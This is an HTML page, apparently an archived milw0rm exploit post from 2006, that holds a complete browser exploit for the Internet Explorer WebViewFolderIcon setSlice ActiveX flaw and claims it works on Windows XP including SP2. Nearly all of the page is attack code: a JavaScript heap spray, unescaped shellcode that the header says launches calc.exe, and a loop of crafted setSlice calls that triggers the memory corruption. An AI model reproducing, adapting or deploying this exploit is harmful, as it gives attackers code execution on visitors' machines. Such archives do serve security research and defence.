67 lines
No EOL
1.7 KiB
HTML
67 lines
No EOL
1.7 KiB
HTML
<!--
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..::[ jamikazu presents ]::..
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Microsoft Internet Explorer WebViewFolderIcon (setSlice) Exploit (0day)
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Works on all Windows XP versions including SP2
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Author: jamikazu
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Mail: jamikazu@gmail.com
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Bug discovered by Computer H D Moore (http://www.metasploit.com)
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Credit: metasploit, SkyLined
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invokes calc.exe if successful
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-->
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<HTML>
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<BODY>
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<SCRIPT language="javascript">
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var heapSprayToAddress = 0x05050505;
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var payLoadCode = unescape(
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"%u9090%u9090%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120" +
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"%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424" +
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"%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304" +
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"%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0" +
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"%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%uF068%u048A%u685F%uFE98%u0E8A" +
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"%uFF57%u63E7%u6C61%u0063");
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var heapBlockSize = 0x400000;
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var payLoadSize = payLoadCode.length * 2;
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var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
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var spraySlide = unescape("%u0505%u0505");
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spraySlide = getSpraySlide(spraySlide,spraySlideSize);
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heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;
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memory = new Array();
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for (i=0;i<heapBlocks;i++)
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{
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memory[i] = spraySlide + payLoadCode;
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}
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for ( i = 0 ; i < 128 ; i++)
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{
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try{
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var tar = new ActiveXObject('WebViewFolderIcon.WebViewFolderIcon.1');
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tar.setSlice(0x7ffffffe, 0x05050505, 0x05050505,0x05050505 );
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}catch(e){}
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}
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function getSpraySlide(spraySlide, spraySlideSize)
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{
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while (spraySlide.length*2<spraySlideSize)
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{
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spraySlide += spraySlide;
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}
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spraySlide = spraySlide.substring(0,spraySlideSize/2);
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return spraySlide;
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}
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</SCRIPT>
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</BODY>
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</HTML>
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# milw0rm.com [2006-09-28] |